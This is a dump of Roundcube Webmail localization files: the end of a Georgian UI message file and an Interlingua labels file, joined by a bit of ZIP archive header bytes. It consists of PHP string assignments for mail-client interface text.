$messages['nobodywarning'] = 'გსურთ თუ არა შეტყობინების გაგზავნა უტექსტოდ?';
$messages['nosearchname'] = 'მიუთითეთ სახელი ან ელ–ფოსტის მისამართი';
$messages['notuploadedwarning'] = 'ჯერ არ ატვირთულა ყველა მიმაგრებული ფაილი. დაელოდეთ ან გააუქმეთ ატვირთვა.';
$messages['searchsuccessful'] = '$nr შეტყობინეა მოიძებნა';
$messages['contactsearchsuccessful'] = 'ნაპოვნია $nr კონტაქტი';
$messages['searchnomatch'] = 'შეტყობინება ვერ მოიძებნა';
$messages['searching'] = 'ძიება...';
$messages['checking'] = 'შემოწმება...';
$messages['stillsearching'] = 'ჯერ კიდევ ეძებს ...';
$messages['nospellerrors'] = 'ორთოგრაფიული შეცდომა არ არის';
$messages['folderdeleted'] = 'საქაღალდე წარმატებით წაიშალა';
$messages['foldersubscribed'] = 'საქაღალდე წარმატებით გამოწერილია.';
$messages['folderunsubscribed'] = 'საქაღალდის გამოწერა წარმატებით გაუქმებულია.';
$messages['deletedsuccessfully'] = 'წარმატებით წაიშალა';
$messages['converting'] = 'შეტყობინების ფორმატირების გაუქმება...';
$messages['messageopenerror'] = 'შეტყობინება ვერ ჩაიტვირთა სერვერიდან';
$messages['filelinkerror'] = 'ფაილის მიმაგრება ვერ მოხდა.';
$messages['fileuploaderror'] = 'ფაილი ვერ აიტვირთა';
$messages['filesizeerror'] = 'ატვირთული ფაილის ზომა მეტია დასაშვებ ფაილის მაქსიმალურ ზომაზე ($size)';
$messages['copysuccess'] = 'წარმატებულად დაკოპირდა $nr კონტაქტი.';
$messages['movesuccess'] = 'წარმატებულად გადატანილია $nr კონტაქტი.';
$messages['copyerror'] = 'ვერცერთი კონტაქტის კოპირება ვერ მოხერხდა.';
$messages['moveerror'] = 'ვერცერთი კონტაქტის გადატანა ვერ მოხერხდა.';
$messages['sourceisreadonly'] = 'აღნიშნული მისამართის მხოლოდ წაკითხვაა შესაძლებელი';
$messages['errorsavingcontact'] = 'საკონტაქტო მისამართის შენახვა შეუძლებელია';
$messages['movingmessage'] = 'შეტყობინების გადატანა...';
$messages['copyingmessage'] = 'შეტყობინების კოპოირება...';
$messages['copyingcontact'] = 'კონტაქტის კოპირება...';
$messages['movingcontact'] = 'კონტაქტის გადატანა...';
$messages['deletingmessage'] = 'შეტყობინების წაშლა...';
$messages['markingmessage'] = 'შეტყობინების მონიშვნა...';
$messages['addingmember'] = 'კონტაქტების დამატება ჯგუფში...';
$messages['removingmember'] = 'კონტაქტების წაშლა ჯგუფიდან...';
$messages['receiptsent'] = 'წარმატებით გაიგზავნა';
$messages['errorsendingreceipt'] = 'არ გაიგზავნა';
$messages['nodeletelastidentity'] = 'წაშლა შეუძლებელია, ის თქვენთვის ერთადერთია';
$messages['forbiddencharacter'] = 'საქაღალდის სახელი შეიცავს აკრძალულ სიმბოლოებს';
$messages['selectimportfile'] = 'გთხოვთ მონიშნოთ ფაილი ასატვირთად';
$messages['addresswriterror'] = 'მონიშნულ მისამართებში ჩაწერა შეუძლებელია';
$messages['contactaddedtogroup'] = 'წარმატებულად დაემატა კონტაქტები ჯგუფში.';
$messages['contactremovedfromgroup'] = 'წარმატებულად წაიშალა კონტაქტები ჯგუფიდან.';
$messages['nogroupassignmentschanged'] = 'ჯგუფების მიმაგრება არ შეცვლილა.';
$messages['importwait'] = 'გთხოვთ მოიცადოთ, მიმდინარეობს შემოტანა';
$messages['importconfirm'] = '<b>წარმატებით დასრულდა $inserted კონტაქტების შემოტანა, $skipped არსებულის გამოტოვება</b>:<p><em>$names</em></p>';
$messages['opnotpermitted'] = 'ოპერაცია შეზღუდულია';
$messages['httpreceivedencrypterror'] = 'სერვერზე მოხდა შეცდომა. დაუყონებლივ დაუკავშირდით ადმინისტრატორს. <b>თქვენი შეტყობინება შესაძლოა ვერ გაიგზავნა.</b>';
$messages['smtpconnerror'] = 'SMTP Error ($code): სერვერთან დაკავშირება ვერ მოხერხდა';
$messages['smtpautherror'] = 'SMTP Error ($code): ავტორიზაციის შეცდომა';
$messages['smtpfromerror'] = 'SMTP Error ($code): ვერ მიეთითა გამგზავნი "$from" ($msg)';
$messages['smtptoerror'] = 'SMTP Error ($code): ვერ დაემატა მიმღები "$to" ($msg)';
$messages['smtprecipientserror'] = 'SMTP Error: მიმღებთა ჩამონათვალის დამუშავება ვერ მოხერხდა';
$messages['smtperror'] = 'SMTP Error: $msg';
$messages['maxgroupmembersreached'] = 'ჯგუფის წევრების რაოდენობა მეტია დასაშვებ ($size)-ზე';
$messages['internalerror'] = 'დაფიქსირდა შეცდომა. გთხოვთ სცადოთ მოგვიანებით.';
$messages['contactdelerror'] = 'კონტაქტის წაშლა არ მოხერხდა.';
$messages['contactdeleted'] = 'კონტაქტ(ებ)ი წარმატებით წაიშალა.';
$messages['contactrestoreerror'] = 'წაშლილი კონტაქტების აღდგენა არ მოხერხდა.';
$messages['contactrestored'] = 'კონრაქტ(ებ)ი წარმატებით აღდგა,';
$messages['groupdeleted'] = 'ჯგუფი წარმატებით წაიშალა.';
$messages['grouprenamed'] = 'ჯგუფს წარმატებულად გადაერქვა სახელი.';
$messages['groupcreated'] = 'ჯგუფი წარმატებით შეიქმნა.';
$messages['savedsearchdeleted'] = 'შენახული ძიება წარმატებულად წაშლილია.';
$messages['savedsearchdeleteerror'] = 'შენახული ძიების წაშლა ვერ მოხერხდა.';
$messages['savedsearchcreated'] = 'შენახული ძიების შექმნილია წარმატებულად.';
$messages['savedsearchcreateerror'] = 'შენახული ძიების შექმნა ვერ მოხერხდა.';
$messages['messagedeleted'] = 'შეტყობინებები წარმატებით წაიშალა.';
$messages['messagemoved'] = 'შეტყობინებები გადატანილია წარმატებით.';
$messages['messagecopied'] = 'შეტყობინება დაკოპირებულია წარმატებით.';
$messages['messagemarked'] = 'შეტყობინებები წარმატებით მოინიშნა.';
$messages['autocompletechars'] = 'შეიყვანეთ მინიმუმ $min სიმბოლო ავტომატური დაბოლოებისათვის.';
$messages['autocompletemore'] = 'დამთხვევა ვერ მოხერხდა. გთხოვთ კიდევ შეიყვანოთ სიმბოლოები.  ';
$messages['namecannotbeempty'] = 'სახელი არ შეიძლება იყოს ცარიელი.';
$messages['nametoolong'] = 'სახელი ძალიან მოკლეა.';
$messages['namedotforbidden'] = 'საქაღალდის სახელი არ შეიძლება იწყებოდეს წერტილით.';
$messages['folderupdated'] = 'დასტა წარმატებით განახლდა.';
$messages['foldercreated'] = 'დასტა წარმატებით შეიქმნა.';
$messages['invalidimageformat'] = 'გამოსახულების ფორმატი არასწორია.';
$messages['mispellingsfound'] = 'გრამატიკული შეცდომები დაფიქსირდა შეტყობინებაში.';
$messages['errnotfound'] = 'ფაილი არ მოიძებნა.';
$messages['errnotfoundexplain'] = 'მოთხოვნილი რესურსი ვერ მოიძებნა!';
$messages['errcontactserveradmin'] = 'გთხოვთ დაუკავშირდეთ სერვერის ადმინისტრატორს.';
$messages['clicktoresumesession'] = 'დააჭირეთ აქ რომ განაგრძოთ წინა სესია.';
$messages['clicktocompose'] = 'დააჭირეთ აქ რომ შექმნათ ახალი შეტყობინება.';
PK
h�\j�?a�u�u"program/localization/ia/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Benvenite a $product';
$labels['username'] = 'Nomine de usator';
$labels['password'] = 'Contrasigno';
$labels['server'] = 'Servitor';
$labels['login'] = 'Aperir session';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Clauder session';
$labels['mail'] = 'E-mail';
$labels['settings'] = 'Configurationes';
$labels['addressbook'] = 'Adressario';
$labels['inbox'] = 'Cassa de entrata';
$labels['drafts'] = 'Versiones provisori';
$labels['sent'] = 'Inviate';
$labels['trash'] = 'Corbe a papiro';
$labels['junk'] = 'Posta indesirate';
$labels['show_real_foldernames'] = 'Monstrar nomines real pro dossieres special';
$labels['subject'] = 'Subjecto';
$labels['from'] = 'De';
$labels['sender'] = 'Expeditor';
$labels['to'] = 'A';
$labels['cc'] = 'In copia a';
$labels['bcc'] = 'In copia occultate a';
$labels['replyto'] = 'Responder a';
$labels['followupto'] = 'Continuar discussion in';
$labels['date'] = 'Data';
$labels['size'] = 'Dimension';
$labels['priority'] = 'Prioritate';
$labels['organization'] = 'Organisation';
$labels['readstatus'] = 'Stato de lectura';
$labels['listoptions'] = 'Optiones de lista...';
$labels['listoptionstitle'] = 'Listar optiones';
$labels['mailboxlist'] = 'Dossieres';
$labels['messagesfromto'] = 'Messages $from a $to de $count';
$labels['threadsfromto'] = 'Topicos $from a $to de $count';
$labels['messagenrof'] = 'Message $nr de $count';
$labels['fromtoshort'] = '$from – $to de $count';
$labels['copy'] = 'Copiar';
$labels['move'] = 'Displaciar';
$labels['moveto'] = 'Displaciar a...';
$labels['copyto'] = 'Copiar a...';
$labels['download'] = 'Discargar';
$labels['open'] = 'Aperir';
$labels['showattachment'] = 'Monstrar';
$labels['showanyway'] = 'Monstrar lo in omne caso';
$labels['filename'] = 'Nomine de file';
$labels['filesize'] = 'Dimension del file';
$labels['addtoaddressbook'] = 'Adder al adressario';
$labels['sun'] = 'dom';
$labels['mon'] = 'lun';
$labels['tue'] = 'mar';
$labels['wed'] = 'mer';
$labels['thu'] = 'jov';
$labels['fri'] = 'ven';
$labels['sat'] = 'sab';
$labels['sunday'] = 'dominica';
$labels['monday'] = 'lunedi';
$labels['tuesday'] = 'martedi';
$labels['wednesday'] = 'mercuridi';
$labels['thursday'] = 'jovedi';
$labels['friday'] = 'venerdi';
$labels['saturday'] = 'sabbato';
$labels['jan'] = 'jan';
$labels['feb'] = 'feb';
$labels['mar'] = 'mar';
$labels['apr'] = 'apr';
$labels['may'] = 'mai';
$labels['jun'] = 'jun';
$labels['jul'] = 'jul';
$labels['aug'] = 'aug';
$labels['sep'] = 'sep';
$labels['oct'] = 'oct';
$labels['nov'] = 'nov';
$labels['dec'] = 'dec';
$labels['longjan'] = 'januario';
$labels['longfeb'] = 'februario';
$labels['longmar'] = 'martio';
$labels['longapr'] = 'april';
$labels['longmay'] = 'mai';
$labels['longjun'] = 'junio';
$labels['longjul'] = 'julio';
$labels['longaug'] = 'augusto';
$labels['longsep'] = 'septembre';
$labels['longoct'] = 'octobre';
$labels['longnov'] = 'novembre';
$labels['longdec'] = 'decembre';
$labels['today'] = 'hodie';
$labels['refresh'] = 'Refrescar';
$labels['checkmail'] = 'Verificar si il ha nove messages';
$labels['compose'] = 'Componer';
$labels['writenewmessage'] = 'Crear un nove message';
$labels['reply'] = 'Responder';
$labels['replytomessage'] = 'Responder al expeditor';
$labels['replytoallmessage'] = 'Responder al lista o al expeditor e tote le destinatarios';
$labels['replyall'] = 'Responder a totes';
$labels['replylist'] = 'Responder al lista';
$labels['forward'] = 'Reinviar';
$labels['forwardinline'] = 'Reinviar in texto de message';
$labels['forwardattachment'] = 'Reinviar como attachamento';
$labels['forwardmessage'] = 'Reinviar le message';
$labels['bouncemsg'] = 'Reinviar (message resaltate)';
$labels['bounce'] = 'Reinviar';
$labels['deletemessage'] = 'Deler messsage';
$labels['movemessagetotrash'] = 'Jectar message in corbe';
$labels['printmessage'] = 'Imprimer iste message';
$labels['previousmessage'] = 'Monstrar previe message';
$labels['firstmessage'] = 'Monstrar prime message';
$labels['nextmessage'] = 'Monstrar proxime message';
$labels['lastmessage'] = 'Monstrar ultime message';
$labels['backtolist'] = 'Retornar al lista de messages';
$labels['viewsource'] = 'Monstrar fonte';
$labels['mark'] = 'Marcar';
$labels['markmessages'] = 'Marcar messages';
$labels['markread'] = 'Como legite';
$labels['markunread'] = 'Como non legite';
$labels['markflagged'] = 'Como signalate';
$labels['markunflagged'] = 'Como non signalate';
$labels['moreactions'] = 'Altere actiones...';
$labels['markallread'] = 'Marcar tote messages como legite';
$labels['folders-cur'] = 'Solmente le dossier seligite';
$labels['folders-sub'] = 'Le dossier seligite e su subdossieres';
$labels['folders-all'] = 'Tote le dossieres';
$labels['more'] = 'Plus';
$labels['back'] = 'Retornar';
$labels['options'] = 'Optiones';
$labels['first'] = 'Prime';
$labels['last'] = 'Ultime';
$labels['previous'] = 'Previe';
$labels['next'] = 'Proxime';
$labels['select'] = 'Seliger';
$labels['all'] = 'Totes';
$labels['none'] = 'Nulle';
$labels['currpage'] = 'Pagina actual';
$labels['isread'] = 'Legite';
$labels['unread'] = 'Non legite';
$labels['flagged'] = 'Signalate';
$labels['unflagged'] = 'Non signalate';
$labels['unanswered'] = 'Non respondite';
$labels['withattachment'] = 'Con attachamento';
$labels['deleted'] = 'Delite';
$labels['undeleted'] = 'Non delite';
$labels['replied'] = 'Respondite';
$labels['forwarded'] = 'Reinviate';
$labels['invert'] = 'Inverter';
$labels['filter'] = 'Filtro';
$labels['list'] = 'Lista';
$labels['threads'] = 'Topicos';
$labels['expand-all'] = 'Displicar totes';
$labels['expand-unread'] = 'Displicar non legite';
$labels['collapse-all'] = 'Plicar totes';
$labels['threaded'] = 'Vista arborescente';
$labels['autoexpand_threads'] = 'Displicar topicos de messages';
$labels['do_expand'] = 'tote le topicos';
$labels['expand_only_unread'] = 'solmente con messages non legite';
$labels['fromto'] = 'De/A';
$labels['flag'] = 'Signalar';
$labels['attachment'] = 'Attachamento';
$labels['nonesort'] = 'Nulle';
$labels['sentdate'] = 'Data de invio';
$labels['arrival'] = 'Data de arrivata';
$labels['asc'] = 'ascendente';
$labels['desc'] = 'descendente';
$labels['listcolumns'] = 'Columnas de lista';
$labels['listsorting'] = 'Columna clave';
$labels['listorder'] = 'Ordinamento';
$labels['listmode'] = 'Visualisation de lista';
$labels['layout'] = 'Disposition';
$labels['layoutwidescreen'] = 'Schermo large';
$labels['layoutdesktop'] = 'Scriptorio';
$labels['layoutlist'] = 'Lista';
$labels['layoutwidescreendesc'] = 'Schermo large (3 columnas)';
$labels['layoutdesktopdesc'] = 'Scriptorio (lista large e previsualisation de posta sub illo)';
$labels['layoutlistdesc'] = 'Lista (sin previsualisation de posta)';
$labels['folderactions'] = 'Actiones de dossier...';
$labels['compact'] = 'Compacte';
$labels['empty'] = 'Vacue';
$labels['importmessages'] = 'Importar messages';
$labels['quota'] = 'Spatio occupate';
$labels['unknown'] = 'incognite';
$labels['unlimited'] = 'sin limite';
$labels['quotatype'] = 'Typo de quota';
$labels['quotatotal'] = 'Limite';
$labels['quotaused'] = 'Usate';
$labels['quotastorage'] = 'Spatio de immagazinage';
$labels['quotamessage'] = 'Numero de messages';
$labels['quicksearch'] = 'Recerca rapide';
$labels['searchplaceholder'] = 'Cercar...';
$labels['resetsearch'] = 'Reinitialisar recerca';
$labels['searchmod'] = 'Modificatores de recerca';
$labels['msgtext'] = 'Message complete';
$labels['body'] = 'Texto';
$labels['type'] = 'Typo';
$labels['namex'] = 'Nomine';
$labels['searchscope'] = 'Ambito';
$labels['currentfolder'] = 'Dossier actual';
$labels['subfolders'] = 'Iste e subdossieres';
$labels['allfolders'] = 'Tote le dossieres';
$labels['searchinterval-1W'] = 'plus vetere que un septimana';
$labels['searchinterval-1M'] = 'plus vetere que un mense';
$labels['searchinterval-1Y'] = 'plus vetere que un anno';
$labels['searchinterval1W'] = 'plus juvene que un septimana';
$labels['searchinterval1M'] = 'plus vetere que un mense';
$labels['searchinterval1Y'] = 'plus juvene que un anno';
$labels['openinextwin'] = 'Aperir in nove fenestra';
$labels['emlsave'] = 'Discargar (.eml)';
$labels['changeformattext'] = 'Monstrar in formato de texto simple';
$labels['changeformathtml'] = 'Monstrar in formato HTML';
$labels['editasnew'] = 'Modificar como nove';
$labels['send'] = 'Inviar';
$labels['sendmessage'] = 'Inviar message';
$labels['savemessage'] = 'Salveguardar como version provisori';
$labels['addattachment'] = 'Attachar un file';
$labels['charset'] = 'Codification de characteres';
$labels['editortype'] = 'Typo de editor';
$labels['returnreceipt'] = 'Confirmation de reception';
$labels['dsn'] = 'Notification de stato de livration';
$labels['mailreplyintro'] = 'Le $date, $sender ha scribite:';
$labels['originalmessage'] = 'Message original';
$labels['selectimage'] = 'Seliger imagine';
$labels['addimage'] = 'Adder imagine';
$labels['selectmedia'] = 'Seliger film';
$labels['addmedia'] = 'Adder film';
$labels['encrypt'] = 'Cryptar';
$labels['encryptmessage'] = 'Cryptar message';
$labels['encryptmessagemailvelope'] = 'Cryptar message con Mailvelope';
$labels['importpubkeys'] = 'Importar claves public';
$labels['encryptedsendialog'] = 'A inviar message cryptate';
$labels['keyid'] = 'ID del clave';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Expirate';
$labels['keyrevoked'] = 'Revocate';
$labels['bccinstead'] = 'Usar le campo "in copia occultate a:"';
$labels['insert'] = 'Inserer';
$labels['recipient'] = 'Destinatario';
$labels['editidents'] = 'Modificar identitates';
$labels['spellcheck'] = 'Orthographia';
$labels['checkspelling'] = 'Verificar orthographia';
$labels['resumeediting'] = 'Continuar le modification';
$labels['revertto'] = 'Reverter a';
$labels['restore'] = 'Restaurar';
$labels['restoremessage'] = 'Restaurar le message?';
$labels['ignore'] = 'Ignorar';
$labels['responses'] = 'Responsas';
$labels['insertresponse'] = 'Inserer un responsa';
$labels['manageresponses'] = 'Gerer responsas';
$labels['newresponse'] = 'Crear nove responsa';
$labels['addresponse'] = 'Adder responsa';
$labels['editresponse'] = 'Modificar responsa';
$labels['editresponses'] = 'Modificar responsas';
$labels['responsename'] = 'Nomine';
$labels['responsetext'] = 'Texto del responsa';
$labels['attach'] = 'Attachar';
$labels['attachments'] = 'Attachamentos';
$labels['upload'] = 'Incargar';
$labels['uploadprogress'] = '$percent ($current de $total)';
$labels['close'] = 'Clauder';
$labels['messageoptions'] = 'Optiones de message...';
$labels['togglecomposeoptions'] = 'Alternar optiones de composition';
$labels['attachmentrename'] = 'Renominar attachamento';
$labels['low'] = 'Basse';
$labels['lowest'] = 'Minimal';
$labels['normal'] = 'Normal';
$labels['high'] = 'Alte';
$labels['highest'] = 'Maximal';
$labels['nosubject'] = '(sin subjecto)';
$labels['showimages'] = 'Monstrar imagines';
$labels['alwaysshow'] = 'Sempre monstrar imagines de $sender';
$labels['isdraft'] = 'Iste es un message provisori.';
$labels['andnmore'] = '$nr alteres...';
$labels['togglemoreheaders'] = 'Monstrar plus capites de message';
$labels['togglefullheaders'] = 'Monstrar/celar capites crude';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Texto simple';
$labels['savesentmessagein'] = 'Salveguardar message inviate in';
$labels['dontsave'] = 'non salveguardar';
$labels['maxuploadsize'] = 'Le dimension maximal de iste file es $size';
$labels['addcc'] = 'Adder campo "in copia a:"';
$labels['addbcc'] = 'Adder campo "in copia occultate a:"';
$labels['addreplyto'] = 'Adder "Responder a:"';
$labels['addfollowupto'] = 'Adder "Continuar discussion in:"';
$labels['mdnrequest'] = 'Le expeditor de iste message ha demandate de reciper un notification quando vos lege iste message. Desira vos notificar le expeditor?';
$labels['receiptread'] = 'Confirmation de reception (legite)';
$labels['yourmessage'] = 'Iste es un confirmation del reception de vostre message';
$labels['receiptnote'] = 'Nota ben: Iste recepta solmente confirma que le message ha essite visualisate sur le computator del destinatario. Il non ha garantia que le destinatario ha legite o comprendite le contento del message.';
$labels['name'] = 'Nomine de presentation';
$labels['firstname'] = 'Prenomine';
$labels['surname'] = 'Nomine de familia';
$labels['middlename'] = 'Secunde nomine';
$labels['nameprefix'] = 'Prefixo';
$labels['namesuffix'] = 'Suffixo';
$labels['nickname'] = 'Pseudonymo';
$labels['jobtitle'] = 'Titulo professional';
$labels['department'] = 'Departimento';
$labels['gender'] = 'Sexo';
$labels['maidenname'] = 'Nomine de puera';
$labels['email'] = 'E-mail';
$labels['phone'] = 'Telephono';
$labels['address'] = 'Adresse';
$labels['street'] = 'Strata';
$labels['locality'] = 'Citate';
$labels['zipcode'] = 'Codice postal';
$labels['region'] = 'Provincia o stato';
$labels['country'] = 'Pais';
$labels['birthday'] = 'Data de nascentia';
$labels['anniversary'] = 'Anniversario';
$labels['website'] = 'Sito web';
$labels['instantmessenger'] = 'MI';
$labels['notes'] = 'Notas';
$labels['male'] = 'masculin';
$labels['female'] = 'feminin';
$labels['manager'] = 'Gerente';
$labels['assistant'] = 'Assistente';
$labels['spouse'] = 'Sposo/a';
$labels['allfields'] = 'Omne campos';
$labels['search'] = 'Cercar';
$labels['searchresult'] = 'Resultato del recerca';
$labels['advsearch'] = 'Recerca avantiate';
$labels['advanced'] = 'Avantiate';
$labels['other'] = 'Altere';
$labels['printcontact'] = 'Imprimer contacto';
$labels['qrcode'] = 'Codice QR';
$labels['typehome'] = 'Domicilio';
$labels['typework'] = 'Labor';
$labels['typeother'] = 'Altere';
$labels['typemobile'] = 'Mobile';
$labels['typemain'] = 'Principal';
$labels['typehomefax'] = 'Fax a domicilio';
$labels['typeworkfax'] = 'Fax a labor';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistente';
$labels['typehomepage'] = 'Pagina principal';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profilo';
$labels['addfield'] = 'Adder campo...';
$labels['addcontact'] = 'Adder contacto';
$labels['editcontact'] = 'Modificar contacto';
$labels['contacts'] = 'Contactos';
$labels['contactproperties'] = 'Proprietates de contacto';
$labels['contactnameandorg'] = 'Nomine e organisation';
$labels['personalinfo'] = 'Information personal';
$labels['personal'] = 'Personal';
$labels['contactphoto'] = 'Photo del contacto';
$labels['edit'] = 'Modificar';
$labels['cancel'] = 'Cancellar';
$labels['save'] = 'Salveguardar';
$labels['delete'] = 'Deler';
$labels['discard'] = 'Abandonar';
$labels['rename'] = 'Renominar';
$labels['addphoto'] = 'Adder';
$labels['replacephoto'] = 'Reimplaciar';
$labels['uploadphoto'] = 'Incargar photo';
$labels['newcontact'] = 'Crear nove contacto';
$labels['deletecontact'] = 'Deler contactos seligite';
$labels['composeto'] = 'Componer message a';
$labels['contactsfromto'] = 'Contacts $from a $to de $count';
$labels['print'] = 'Imprimer';
$labels['export'] = 'Exportar';
$labels['exportall'] = 'Exportar totes';
$labels['exportsel'] = 'Exportar seligite';
$labels['exportvcards'] = 'Exportar contactos in formato vCard';
$labels['newgroup'] = 'Crear nove gruppo';
$labels['addgroup'] = 'Adder gruppo';
$labels['grouprename'] = 'Renominar gruppo';
$labels['groupdelete'] = 'Deler gruppo';
$labels['groupremoveselected'] = 'Remover contactos seligite del gruppo';
$labels['uponelevel'] = 'Un nivello in alto';
$labels['previouspage'] = 'Monstrar previe pagina';
$labels['firstpage'] = 'Monstrar prime pagina';
$labels['nextpage'] = 'Monstrar proxime pagina';
$labels['lastpage'] = 'Monstrar ultime pagina';
$labels['group'] = 'Gruppo';
$labels['groups'] = 'Gruppos';
$labels['listgroup'] = 'Listar membros del gruppo';
$labels['personaladrbook'] = 'Adresses personal';
$labels['searchsave'] = 'Salveguardar recerca';
$labels['searchdelete'] = 'Deler recerca';
$labels['import'] = 'Importar';
$labels['importcontacts'] = 'Importar contactos';
$labels['importfromfile'] = 'Importar ab file';
$labels['importtarget'] = 'Adder contactos a';
$labels['importreplace'] = 'Reimplaciar tote le adressario';
$labels['importgroups'] = 'Importar assignationes de gruppo';
$labels['importgroupsall'] = 'Totes (crear gruppos si necessari)';
$labels['importgroupsexisting'] = 'Solmente pro gruppos existente';
$labels['done'] = 'Facite';
$labels['settingsfor'] = 'Configurationes pro';
$labels['about'] = 'A proposito';
$labels['preferences'] = 'Preferentias';
$labels['userpreferences'] = 'Preferentias de usator';
$labels['editpreferences'] = 'Modificar preferentias de usator';
$labels['identities'] = 'Identitates';
$labels['manageidentities'] = 'Gerer identitates';
$labels['newidentity'] = 'Crear nove identitate';
$labels['addidentity'] = 'Adder identitate';
$labels['editidentity'] = 'Modifiar identitate';
$labels['identityencryption'] = 'Cryptographia';
$labels['preferhtml'] = 'Monstrar HTML';
$labels['defaultcharset'] = 'Codification de characteres predefinite';
$labels['htmlmessage'] = 'Message HTML';
$labels['messagepart'] = 'Parte';
$labels['digitalsig'] = 'Signatura digital';
$labels['dateformat'] = 'Formato de data';
$labels['timeformat'] = 'Formato de hora';
$labels['prettydate'] = 'Imbellir datas';
$labels['setdefault'] = 'Fixar como predefinite';
$labels['autodetect'] = 'Auto';
$labels['language'] = 'Lingua';
$labels['timezone'] = 'Fuso horari';
$labels['pagesize'] = 'Lineas per pagina';
$labels['signature'] = 'Signatura';
$labels['dstactive'] = 'Hora estive';
$labels['showinextwin'] = 'Aperir message in nove fenestra';
$labels['composeextwin'] = 'Componer in un nove fenestra';
$labels['htmleditor'] = 'Componer messages in HTML';
$labels['htmlonreply'] = 'quando responder a un message HTML';
$labels['htmlonreplyandforward'] = 'quando reinviar o responder a un message HTML';
$labels['htmlsignature'] = 'Signatura HTML';
$labels['showemail'] = 'Monstrar adresse de e-mail con nomine de presentation';
$labels['previewpane'] = 'Monstrar quadro de previsualisation';
$labels['skin'] = 'Apparentia de interfacie';
$labels['logoutclear'] = 'Vacuar le corbe a papiro al clausura de session';
$labels['logoutcompact'] = 'Compactar le cassa de entrata al clausura de session';
$labels['uisettings'] = 'Interfacie de usator';
$labels['serversettings'] = 'Configurationes de servitor';
$labels['mailboxview'] = 'Vista de cassa postal';
$labels['mdnrequests'] = 'Quando on requesta un confirmation de reception';
$labels['askuser'] = 'demanda me lo';
$labels['autosend'] = 'invia un recepta';
$labels['autosendknown'] = 'invia un recepta a mi contactos, alteremente demanda me lo';
$labels['autosendknownignore'] = 'invia un recepta a mi contactos, alteremente ignora lo';
$labels['ignorerequest'] = 'ignora le requesta';
$labels['readwhendeleted'] = 'Marcar le message como legite al deletion';
$labels['flagfordeletion'] = 'Marcar le message pro deletion in vice de deler lo';
$labels['skipdeleted'] = 'Non monstrar messages delite';
$labels['deletealways'] = 'Si le displaciamento de messages al corbe a papiro non succede, deler los';
$labels['deletejunk'] = 'Directemente deler le messages indesirate';
$labels['showremoteimages'] = 'Visualisar imagines incorporate a distantia';
$labels['fromknownsenders'] = 'de expeditores cognite';
$labels['always'] = 'sempre';
$labels['alwaysbutplain'] = 'sempre, excepte quando responder a texto simple';
$labels['showinlineimages'] = 'Monstrar imagines attachate sub le message';
$labels['autosavedraft'] = 'Automaticamente salveguardar version provisori';
$labels['everynminutes'] = 'cata $n minuta(s)';
$labels['refreshinterval'] = 'Refrescar (verificar si il ha nove messages, etc.)';
$labels['never'] = 'nunquam';
$labels['immediately'] = 'immediatemente';
$labels['messagesdisplaying'] = 'Presentation de messages';
$labels['messagescomposition'] = 'Composition de messages';
$labels['mimeparamfolding'] = 'Nomines de attachamento';
$labels['2231folding'] = 'RFC 2231 complete (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 complete (altere)';
$labels['force7bit'] = 'Usar le codification MIME pro characteres a 8 bits';
$labels['savelocalstorage'] = "Salveguardar in le immagazinage local del navigator (temporarimente)";
$labels['advancedoptions'] = 'Optiones avantiate';
$labels['toggleadvancedoptions'] = 'Monstrar/celar optiones avantiate';
$labels['focusonnewmessage'] = 'Focalisar le fenestra del navigator sur le nove message';
$labels['checkallfolders'] = 'Verificar in tote le dossieres si il ha nove messages';
$labels['defaultfont'] = 'Typo de litteras predefinite pro messages HTML';
$labels['mainoptions'] = 'Optiones principal';
$labels['browseroptions'] = 'Optiones de navigator';
$labels['section'] = 'Section';
$labels['maintenance'] = 'Mantenimento';
$labels['newmessage'] = 'Nove message';
$labels['signatureoptions'] = 'Optiones de signatura';
$labels['whenreplying'] = 'Quando responder';
$labels['replyempty'] = 'non citar le message original';
$labels['replytopposting'] = 'comenciar le nove message super le citation';
$labels['replytoppostingnoindent'] = 'comenciar un nove message ante le citation (sin indentation)';
$labels['replybottomposting'] = 'comenciar le nove message sub le citation';
$labels['replyremovesignature'] = 'Quando responder, remover le signatura del citation';
$labels['autoaddsignature'] = 'Automaticamente inserta signatura';
$labels['newmessageonly'] = 'nove message solmente';
$labels['replyandforwardonly'] = 'responsas e reinvios solmente';
$labels['insertsignature'] = 'Insertar signatura';
$labels['sigbelow'] = 'Mitter signatura post le message citate';
$labels['sigseparator'] = 'Fortiar le separator standard in signatura';
$labels['automarkread'] = 'Marcar messages como legite';
$labels['afternseconds'] = 'post $n secundas';
$labels['reqmdn'] = 'Sempre requestar un confirmation de reception';
$labels['reqdsn'] = 'Sempre requestar un notification de stato de livration';
$labels['replysamefolder'] = 'Placiar responsas in le dossier del message respondite';
$labels['defaultabook'] = 'Adressario predefinite';
$labels['autocompletesingle'] = 'Saltar adresses de e-mail altenrative in autocompletion';
$labels['listnamedisplay'] = 'Listar contactos como';
$labels['spellcheckbeforesend'] = 'Verificar orthographia ante inviar un message';
$labels['spellcheckoptions'] = 'Optiones de verification orthographic';
$labels['spellcheckignoresyms'] = 'Ignorar parolas con symbolos';
$labels['spellcheckignorenums'] = 'Ignorar parolas con numeros';
$labels['spellcheckignorecaps'] = 'Ignorar parolas toto in majusculas';
$labels['addtodict'] = 'Adder al dictionario';
$labels['mailtoprotohandler'] = 'Registrar un gestor de protocollo pro ligamines mailto:';
$labels['standardwindows'] = 'Gerer pop-ups como fenestras normal';
$labels['forwardmode'] = 'Reinvio de messages';
$labels['inline'] = 'in texto';
$labels['asattachment'] = 'como attachamento';
$labels['replyallmode'] = 'Action predefinite del button [Responder a totes]';
$labels['replyalldefault'] = 'responder a totes';
